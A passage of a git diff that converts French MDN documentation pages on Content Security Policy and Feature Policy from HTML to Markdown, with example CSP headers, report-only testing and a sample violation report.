obsolète qu'il n'est plus utile de supporter. -<p>Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : <code><meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"></code></p> +Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : `<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">` -<h2 id="Menaces">Menaces</h2> +## Menaces -<h3 id="Réduction_des_attaques_cross_site_scripting_XSS">Réduction des attaques <em>cross site scripting</em> (XSS)</h3> +### Réduction des attaques _cross site scripting_ (XSS) -<p>L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir.</p> +L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir. -<p>CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts <em>inline</em> (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés.</p> +CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts _inline_ (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés. -<p>Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script.</p> +Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script. -<h3 id="Empêcher_les_écoutes_du_trafic">Empêcher les écoutes du trafic</h3> +### Empêcher les écoutes du trafic -<p>En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de <a href="/fr/docs/Web/HTTP/Cookies">cookies sécurisés</a> (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS).</p> +En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de [cookies sécurisés](/fr/docs/Web/HTTP/Cookies) (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS). -<h2 id="Utiliser_CSP">Utiliser CSP</h2> +## Utiliser CSP -<p>Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses.</p> +Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses. -<h3 id="Créer_votre_règle_CSP">Créer votre règle CSP</h3> +### Créer votre règle CSP -<p>On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi :</p> +On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi : -<pre class="syntaxbox">Content-Security-Policy: <em>règle</em></pre> + Content-Security-Policy: règle -<p>La <code>règle</code> est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP.</p> +La `règle` est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP. -<h3 id="Écrire_une_règle">Écrire une règle</h3> +### Écrire une règle -<p>Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript <em>inline</em>) et l'utilisation de <code>eval()</code>, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS <em>inline</em> avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises <code>style</code>, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}.</p> +Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript _inline_) et l'utilisation de `eval()`, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS _inline_ avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises `style`, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}. -<h2 id="Exemples_pour_les_cas_courants">Exemples pour les cas courants</h2> +## Exemples pour les cas courants -<p>Cette section propose des règles CSP pour les scenarios les plus classiques.</p> +Cette section propose des règles CSP pour les scenarios les plus classiques. -<h3 id="Exemple_1">Exemple 1</h3> +### Exemple 1 -<p>Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) :</p> +Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) : -<pre class="syntaxbox">Content-Security-Policy: default-src 'self';</pre> + Content-Security-Policy: default-src 'self'; -<h3 id="Exemple_2">Exemple 2</h3> +### Exemple 2 -<p>Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de <code>source-sure.example.net</code> (qui peut être un autre site) :</p> +Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de `source-sure.example.net` (qui peut être un autre site) : -<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.source-sure.example.net</pre> + Content-Security-Policy: default-src 'self' *.source-sure.example.net -<h3 id="Exemple_3">Exemple 3</h3> +### Exemple 3 -<p>Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de <code>toto.local</code> ou <code>tata.local</code>, les scripts par <code>scripts.local</code> :</p> +Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de `toto.local` ou `tata.local`, les scripts par `scripts.local` : -<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local</pre> + Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local -<p>Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts.</p> +Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts. -<h3 id="Exemple_4">Exemple 4</h3> +### Exemple 4 -<p>Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis :</p> +Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis : -<pre class="syntaxbox">Content-Security-Policy: default-src https://confidentiel.example.net</pre> + Content-Security-Policy: default-src https://confidentiel.example.net -<p>Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de <code>https://confidentiel.example.net</code>.</p> +Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de `https://confidentiel.example.net`. -<h3 id="Exemple_5">Exemple 5</h3> +### Exemple 5 -<p>Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux :</p> +Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux : -<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; child-src: *</pre> + Content-Security-Policy: default-src 'self'; img-src *; child-src: * -<p>On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive <code>default-src</code> qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine.</p> +On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive `default-src` qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine. -<h2 id="Tester_une_règle_CSP">Tester une règle CSP</h2> +## Tester une règle CSP -<p>Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme.</p> +Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme. -<p>Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela :</p> +Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela : -<pre class="syntaxbox">Content-Security-Policy-Report-Only: <em>règle</em> </pre> + Content-Security-Policy-Report-Only: règle -<p>Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place.</p> +Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place. -<p>La règle indiquée par <code>Content-Security-Policy</code> est appliquée tandis que celle fourni par <code>Content-Security-Policy-Report-Only</code> génère des rapports mais n'est pas appliquée.</p> +La règle indiquée par `Content-Security-Policy` est appliquée tandis que celle fourni par `Content-Security-Policy-Report-Only` génère des rapports mais n'est pas appliquée. -<p>Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent.</p> +Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent. -<h2 id="Gérer_les_rapports">Gérer les rapports</h2> +## Gérer les rapports -<p>Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports :</p> +Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports : -<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> + Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi -<p>Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter.</p> +Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter. -<h2 id="Syntaxe_des_rapports_de_violation">Syntaxe des rapports de violation</h2> +## Syntaxe des rapports de violation -<p>Le rapport est un objet JSON qui contient :</p> +Le rapport est un objet JSON qui contient : -<dl> - <dt><code>blocked-uri</code></dt> - <dd>L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via <code>document-uri</code>, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port.</dd> - <dt><code>disposition</code></dt> - <dd>La chaîne <code>"report"</code> si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou <code>"enforce"</code> si <code>Content-Security-Policy</code> a été utilisée.</dd> - <dt><code>document-uri</code></dt> - <dd>L'URI du document pour lequel la violation a eu lieu.</dd> - <dt><code>effective-directive</code></dt> - <dd>La directive dont le non-respect a entraîné la violation.</dd> - <dt><code>original-policy</code></dt> - <dd>La règle telle qu'indiquée dans l'en-tête HTTP <code>Content-Security-Policy</code>.</dd> - <dt><code>referrer</code></dt> - <dd>Le <em>referrer</em> du document pour lequel la violation a eu lieu.</dd> - <dt><code>script-sample</code></dt> - <dd>Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation.</dd> - <dt><code>status-code</code></dt> - <dd>Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.</dd> - <dt><code>violated-directive</code></dt> - <dd>Le nom de la directive, dans la règle, qui n'a pas été respectée.</dd> -</dl> +- `blocked-uri` + - : L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via `document-uri`, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port. +- `disposition` + - : La chaîne `"report"` si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou `"enforce"` si `Content-Security-Policy` a été utilisée. +- `document-uri` + - : L'URI du document pour lequel la violation a eu lieu. +- `effective-directive` + - : La directive dont le non-respect a entraîné la violation. +- `original-policy` + - : La règle telle qu'indiquée dans l'en-tête HTTP `Content-Security-Policy`. +- `referrer` + - : Le _referrer_ du document pour lequel la violation a eu lieu. +- `script-sample` + - : Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation. +- `status-code` + - : Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié. +- `violated-directive` + - : Le nom de la directive, dans la règle, qui n'a pas été respectée. -<h2 id="Exemple_de_rapport_de_violation_de_règle">Exemple de rapport de violation de règle</h2> +## Exemple de rapport de violation de règle -<p>Si l'on considère une page <code>http://example.com/connexion.html</code>, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de <code>cdn.example.com</code>) :</p> +Si l'on considère une page `http://example.com/connexion.html`, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de `cdn.example.com`) : -<pre class="syntaxbox">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> + Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports -<p>et qui contient le code HTML suivant :</p> +et qui contient le code HTML suivant : -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <title>Connectez-vous</title> - <link rel="stylesheet" href="css/style.css"> - </head> - <body> +```html +<!DOCTYPE html> +<html> + <head> + <title>Connectez-vous</title> + <link rel="stylesheet" href="css/style.css"> + </head> + <body> ... Contenu ... - </body> -</html></pre> + </body> +</html> +``` -<p>Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de <code>cdn.example.com</code> et non du site lui-même (l'origine même de la page) comme <code><link rel="stylesheet" href="css/style.css"></code> l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse <code>http://example.com/_/csp-reports</code> à chaque visite de la page dont il est question :</p> +Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de `cdn.example.com` et non du site lui-même (l'origine même de la page) comme `<link rel="stylesheet" href="css/style.css">` l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse `http://example.com/_/csp-reports` à chaque visite de la page dont il est question : -<pre>{ - "csp-report": { - "document-uri": "http://example.com/connexion.html", - "referrer": "", - "blocked-uri": "http://example.com/css/style.css", - "violated-directive": "style-src cdn.example.com", - "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports" - } -}</pre> + { + "csp-report": { + "document-uri": "http://example.com/connexion.html", + "referrer": "", + "blocked-uri": "http://example.com/css/style.css", + "violated-directive": "style-src cdn.example.com", + "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports" + } + } -<p>Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans <code>blocked-uri</code>. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style <code>http://anothercdn.example.com/stylesheet.css</code>, le navigateur aurait indiqué seulement <code>"blocked-uri": "http://anothercdn.example.com/"</code>, c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, <a href="http://www.w3.org/TR/CSP/#security-violation-reports">disponible en anglais sur le site du W3C</a>, explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines.</p> +Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans `blocked-uri`. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style `http://anothercdn.example.com/stylesheet.css`, le navigateur aurait indiqué seulement `"blocked-uri": "http://anothercdn.example.com/"`, c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, [disponible en anglais sur le site du W3C](http://www.w3.org/TR/CSP/#security-violation-reports), explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines. -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp")}}</p> +{{Compat("http.headers.csp")}} -<p><em>Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête <code>Content-Security-Policy</code> est défini mais qu'il n'y a pas d'en-tête <code>Same-Origin</code> , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu.</em></p> +_Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête `Content-Security-Policy` est défini mais qu'il n'y a pas d'en-tête `Same-Origin` , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu._ -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> - <li><a href="/fr/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">L'utilisation de CSP pour les WebExtensions.</a></li> - <li> - <p><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy#Utilisation_du_CSP_dans_les_web_workers">La gestion de CSP dans les web workers</a></p> - </li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Content-Security-Policy-Report-Only")}} +- [L'utilisation de CSP pour les WebExtensions.](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy) +- [La gestion de CSP dans les web workers](/fr/docs/Web/HTTP/Headers/Content-Security-Policy#Utilisation_du_CSP_dans_les_web_workers) diff --git a/files/fr/web/http/feature_policy/index.md b/files/fr/web/http/feature_policy/index.md index 1061068d8c..3df4cd8672 100644 --- a/files/fr/web/http/feature_policy/index.md +++ b/files/fr/web/http/feature_policy/index.md @@ -17,157 +17,126 @@ tags: - permission translation_of: Web/HTTP/Feature_Policy --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité.</p> +Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité. -<div class="note"> -<p><strong>Note :</strong> L'en-tête <code>Feature-Policy</code> a maintenant été renommé <code>Permissions-Policy</code> dans la spécification, et cet article va possiblement être modifié en conséquence.</p> -</div> +> **Note :** L'en-tête `Feature-Policy` a maintenant été renommé `Permissions-Policy` dans la spécification, et cet article va possiblement être modifié en conséquence. -<h2 id="En_résumé">En résumé</h2> +## En résumé -<p>Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement.</p> +Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement. -<p>Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités.</p> +Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités. -<p>Par exemple, voici des choses que vous pourrez faire avec Feature Policy :</p> +Par exemple, voici des choses que vous pourrez faire avec Feature Policy : -<ul> - <li>Changer le comportement par défaut de la lecture automatique sur mobile ou pour les vidéos de source externe,</li> - <li>Vous interdire d'utiliser les API sensitives comme l'appareil photographique ou le microphone.</li> - <li>Permettre aux iframes d'utiliser l'<a href="/en-US/docs/Web/API/Fullscreen_API">API plein écran</a>.</li> - <li>Empêcher l'utilisateur d'API obsolètes comme les <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">XHR synchrones</a> ou {{domxref("document.write()")}}.</li> - <li>Vous assurer que les images sont dimensionnées correctement et ne sont pas trop grosses pour le cadre de la fenêtre.</li> -</ul> +- Changer le comportement par défaut de la lecture automatique sur mobile ou pour les vidéos de source externe, +- Vous interdire d'utiliser les API sensitives comme l'appareil photographique ou le microphone. +- Permettre aux iframes d'utiliser l'[API plein écran](/en-US/docs/Web/API/Fullscreen_API). +- Empêcher l'utilisateur d'API obsolètes comme les [XHR synchrones](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest) ou {{domxref("document.write()")}}. +- Vous assurer que les images sont dimensionnées correctement et ne sont pas trop grosses pour le cadre de la fenêtre. -<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2> +## Concepts et utilisation -<p>Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité.</p> +Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité. -<p>Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou <em>allowlist</em>) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité.</p> +Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou _allowlist_) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité. -<h3 id="Écrire_une_règle">Écrire une règle</h3> +### Écrire une règle -<p>Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité.</p> +Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité. -<h3 id="Appliquer_votre_règle">Appliquer votre règle</h3> +### Appliquer votre règle -<p>Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités :</p> +Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités : -<ul> - <li>L'en-tête HTTP {{httpheader("Feature-Policy")}}.</li> - <li>L'attribut {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} sur les iframes.</li> -</ul> +- L'en-tête HTTP {{httpheader("Feature-Policy")}}. +- L'attribut {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} sur les iframes. -<p>La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page.</p> +La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page. -<p>Pour plus de détails, voir <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a>.</p> +Pour plus de détails, voir [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy). -<h3 id="Déterminer_la_règle">Déterminer la règle</h3> +### Déterminer la règle -<p>Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.</p> +Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}. -<h2 id="Types_de_fonctionnalités_contrôlables">Types de fonctionnalités contrôlables</h2> +## Types de fonctionnalités contrôlables -<p>Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs.</p> +Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs. -<p>Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple :</p> +Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple : -<ul> - <li>Retourner "permission denied" pour les API JavaScript qui requièrent une élévation de privilèges de la part de l'utilisateur,</li> - <li>Retourner <code>false</code> ou jeter une erreur depuis une API JavaScript qui permet d'accéder à une fonctionnalité,</li> - <li>Modifier les valeurs par défaut ou les options qui contrôlent le comportement de la fonctionnalité.</li> -</ul> +- Retourner "permission denied" pour les API JavaScript qui requièrent une élévation de privilèges de la part de l'utilisateur, +- Retourner `false` ou jeter une erreur depuis une API JavaScript qui permet d'accéder à une fonctionnalité, +- Modifier les valeurs par défaut ou les options qui contrôlent le comportement de la fonctionnalité. -<p>L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux 